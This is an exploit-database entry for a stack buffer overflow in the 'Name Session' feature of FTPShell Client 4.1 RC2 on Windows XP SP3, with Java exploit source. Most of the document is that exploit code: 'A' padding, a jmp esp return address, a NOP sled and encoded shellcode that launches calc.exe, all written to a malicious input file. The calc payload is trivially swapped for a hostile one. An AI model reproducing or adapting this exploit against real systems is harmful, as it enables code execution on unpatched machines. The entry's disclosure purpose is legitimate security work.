FTPShell Client, Name Session Stack Overflow Exploit

vendor:

FTPShell Client

by:

zec

7.5

CVSS

HIGH

Stack Overflow

121

CWE

Product Name: FTPShell Client

Affected Version From: 4.1 RC2

Affected Version To: 4.1 RC2

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3

FTPShell Client, Name Session Stack Overflow Exploit

This exploit targets the FTPShell Client version 4.1 RC2 on Windows XP SP3. It exploits a stack overflow vulnerability in the 'Name Session' feature of the program. The exploit code contains a shellcode for executing the 'calc.exe' program. The exploit is coded by 'zec' and can be contacted at zec@bsdmail.com.

Mitigation:

Update to a patched version of the FTPShell Client.

Source

Exploit-DB raw data:

/*
 * FTPShell Client, Name Session Stack Overflow Exploit
 * Tested on Version 4.1 RC2 on Windows XP SP3
 * Vulnerable program download page : http://www.ftpshell.com/downloadclient.htm
 * Coded by zec
 * Feel yourself freely to get into touch : zec@bsdmail.com
 */

package ftpbof;
import java.io.DataOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
/**
 * @author zec
 */
public class Main {
    public static void main(String[] args) throws IOException  {
        /*  Shellcode calc.exe
         *  jmp esp 0x7C86467B
         */
        byte[] data = new byte[2548];
        for(int i = 1; i<data.length; ++i)
            data[i] = (byte)0x41;
        byte[] shell = new byte[]{
(byte)0x7B, (byte)0x46, (byte)0x86, (byte)0x7C, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0xeb, (byte)0x03 ,(byte)0x59, (byte)0xeb, (byte)0x05, (byte)0xe8, (byte)0xf8, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x4f, (byte)0x49, (byte)0x49, (byte)0x49, (byte)0x49, (byte)0x49, (byte)0x49, (byte)0x51, (byte)0x5a, (byte)0x56, (byte)0x54, (byte)0x58, (byte)0x36, (byte)0x33, (byte)0x30, (byte)0x56, (byte)0x58, (byte)0x34, (byte)0x41, (byte)0x30, (byte)0x42, (byte)0x36, (byte)0x48, (byte)0x48, (byte)0x30, (byte)0x42, (byte)0x33, (byte)0x30, (byte)0x42, (byte)0x43, (byte)0x56, (byte)0x58, (byte)0x32, (byte)0x42, (byte)0x44, (byte)0x42, (byte)0x48, (byte)0x34, (byte)0x41, (byte)0x32, (byte)0x41, (byte)0x44, (byte)0x30, (byte)0x41, (byte)0x44, (byte)0x54, (byte)0x42, (byte)0x44, (byte)0x51, (byte)0x42, (byte)0x30, (byte)0x41, (byte)0x44, (byte)0x41, (byte)0x56, (byte)0x58, (byte)0x34, (byte)0x5a, (byte)0x38, (byte)0x42, (byte)0x44, (byte)0x4a, (byte)0x4f, (byte)0x4d, (byte)0x4e, (byte)0x4f, (byte)0x4a, (byte)0x4e, (byte)0x46, (byte)0x54, (byte)0x42, (byte)0x50, (byte)0x42, (byte)0x50, (byte)0x42, (byte)0x30, (byte)0x4b, (byte)0x58, (byte)0x45, (byte)0x54, (byte)0x4e, (byte)0x33, (byte)0x4b, (byte)0x38, (byte)0x4e, (byte)0x57, (byte)0x45, (byte)0x30, (byte)0x4a, (byte)0x37, (byte)0x41, (byte)0x30, (byte)0x4f, (byte)0x4e, (byte)0x4b, (byte)0x58, (byte)0x4f, (byte)0x44, (byte)0x4a, (byte)0x41, (byte)0x4b, (byte)0x38, (byte)0x4f, (byte)0x35, (byte)0x42, (byte)0x42, (byte)0x41, (byte)0x30, (byte)0x4b, (byte)0x4e, (byte)0x49, (byte)0x34, (byte)0x4b, (byte)0x58, (byte)0x46, (byte)0x33, (byte)0x4b, (byte)0x58, (byte)0x41, (byte)0x30, (byte)0x50, (byte)0x4e, (byte)0x41, (byte)0x33, (byte)0x42, (byte)0x4c, (byte)0x49, (byte)0x39, (byte)0x4e, (byte)0x4a, (byte)0x46, (byte)0x58, (byte)0x42, (byte)0x4c, (byte)0x46, (byte)0x37, (byte)0x47, (byte)0x30, (byte)0x41, (byte)0x4c, (byte)0x4c, (byte)0x4c, (byte)0x4d, (byte)0x50, (byte)0x41, (byte)0x50, (byte)0x44, (byte)0x4c, (byte)0x4b, (byte)0x4e, (byte)0x46, (byte)0x4f, (byte)0x4b, (byte)0x53, (byte)0x46, (byte)0x55, (byte)0x46, (byte)0x32, (byte)0x46, (byte)0x30, (byte)0x45, (byte)0x47, (byte)0x45, (byte)0x4e, (byte)0x4b, (byte)0x48, (byte)0x4f, (byte)0x35, (byte)0x46, (byte)0x32, (byte)0x41, (byte)0x50, (byte)0x4b, (byte)0x4e, (byte)0x48, (byte)0x36, (byte)0x4b, (byte)0x58, (byte)0x4e, (byte)0x50, (byte)0x4b, (byte)0x54, (byte)0x4b, (byte)0x58, (byte)0x4f, (byte)0x35, (byte)0x4e, (byte)0x31, (byte)0x41, (byte)0x50, (byte)0x4b, (byte)0x4e, (byte)0x4b, (byte)0x38, (byte)0x4e, (byte)0x41, (byte)0x4b, (byte)0x38, (byte)0x41, (byte)0x30, (byte)0x4b, (byte)0x4e, (byte)0x49, (byte)0x38, (byte)0x4e, (byte)0x45, (byte)0x46, (byte)0x52, (byte)0x46, (byte)0x50, (byte)0x43, (byte)0x4c, (byte)0x41, (byte)0x53, (byte)0x42, (byte)0x4c, (byte)0x46, (byte)0x46, (byte)0x4b, (byte)0x48, (byte)0x42, (byte)0x44, (byte)0x42, (byte)0x43, (byte)0x45, (byte)0x38, (byte)0x42, (byte)0x4c, (byte)0x4a, (byte)0x37, (byte)0x4e, (byte)0x50, (byte)0x4b, (byte)0x48, (byte)0x42, (byte)0x44, (byte)0x4e, (byte)0x50, (byte)0x4b, (byte)0x48, (byte)0x42, (byte)0x57, (byte)0x4e, (byte)0x51, (byte)0x4d, (byte)0x4a, (byte)0x4b, (byte)0x48, (byte)0x4a, (byte)0x46, (byte)0x4a, (byte)0x30, (byte)0x4b, (byte)0x4e, (byte)0x49, (byte)0x30, (byte)0x4b, (byte)0x58, (byte)0x42, (byte)0x58, (byte)0x42, (byte)0x4b, (byte)0x42, (byte)0x30, (byte)0x42, (byte)0x50, (byte)0x42, (byte)0x30, (byte)0x4b, (byte)0x48, (byte)0x4a, (byte)0x46, (byte)0x4e, (byte)0x43, (byte)0x4f, (byte)0x55, (byte)0x41, (byte)0x43, (byte)0x48, (byte)0x4f, (byte)0x42, (byte)0x56, (byte)0x48, (byte)0x55, (byte)0x49, (byte)0x58, (byte)0x4a, (byte)0x4f, (byte)0x43, (byte)0x38, (byte)0x42, (byte)0x4c, (byte)0x4b, (byte)0x57, (byte)0x42, (byte)0x55, (byte)0x4a, (byte)0x46, (byte)0x4f, (byte)0x4e, (byte)0x50, (byte)0x4c, (byte)0x42, (byte)0x4e, (byte)0x42, (byte)0x46, (byte)0x4a, (byte)0x36, (byte)0x4a, (byte)0x49, (byte)0x50, (byte)0x4f, (byte)0x4c, (byte)0x48, (byte)0x50, (byte)0x30, (byte)0x47, (byte)0x35, (byte)0x4f, (byte)0x4f, (byte)0x47, (byte)0x4e, (byte)0x43, (byte)0x46, (byte)0x41, (byte)0x56, (byte)0x4e, (byte)0x46, (byte)0x43, (byte)0x56, (byte)0x50, (byte)0x42, (byte)0x45, (byte)0x56, (byte)0x4a, (byte)0x37, (byte)0x45, (byte)0x36, (byte)0x42, (byte)0x30, (byte)0x5a
                                };
        try{
            DataOutputStream out = new DataOutputStream(new FileOutputStream("c:\\exp.txt"));
            System.out.println("[+] Writing malicious data to file..");
            out.write(data);
            out.write(shell);
            out.close();
        }catch(FileNotFoundException err){System.out.println("[-] Couldn't be written.Error : "+err.getMessage());}
            System.out.println("[+] Exploited successfully.");
    }

} 

// milw0rm.com [2009-08-13]